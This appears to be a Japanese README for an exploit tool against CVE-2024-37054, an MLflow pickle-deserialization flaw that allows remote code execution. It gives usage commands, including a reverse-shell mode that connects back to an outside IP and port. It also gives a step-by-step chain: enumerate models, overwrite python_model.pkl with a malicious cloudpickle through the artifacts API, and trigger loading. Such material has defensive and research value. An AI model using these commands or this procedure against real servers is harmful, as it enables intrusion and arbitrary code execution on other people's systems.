CVE-2024-37054 — MLflow pyfunc デシリアライゼーション RCE

重要度: Critical
影響を受けるバージョン: MLflow 0.9.0 – 2.14.1
種別: Python pickle のデシリアライゼーションによる任意コード実行

説明

mlflow.pyfunc.load_model() は、アーティファクトストアから python_model.pkl をいかなるサニタイズも行わずにデシリアライズします。MLflow アーティファクト REST API に到達できる攻撃者は、そのファイルを悪意のある pickle で上書きできるため、次回モデルが読み込まれたときに任意の OS コマンドが実行されます。

要件

pip install requests cloudpickle

使用方法

# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

主なオプション

動作の仕組み

1. 発見 — /api/2.0/mlflow/registered-models/search を照会し、モデルとその run_id / experiment_id を特定する
2. 汚染 — 悪意のある cloudpickle ペイロードを /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl に PUT する
3. トリガー — そのモデルに対して mlflow.pyfunc.load_model() を呼び出す任意のコードパスがペイロードをデシリアライズし、コマンドを実行する

トリガーステップには、モデルを読み込むアプリケーションのエンドポイントが必要です。既知のエンドポイントがない場合は --no-trigger（または --trigger-url の省略）を使用し、利用可能な手段で読み込みをトリガーしてください。

免責事項

許可を得たペネトレーションテストおよび教育目的のみに使用してください。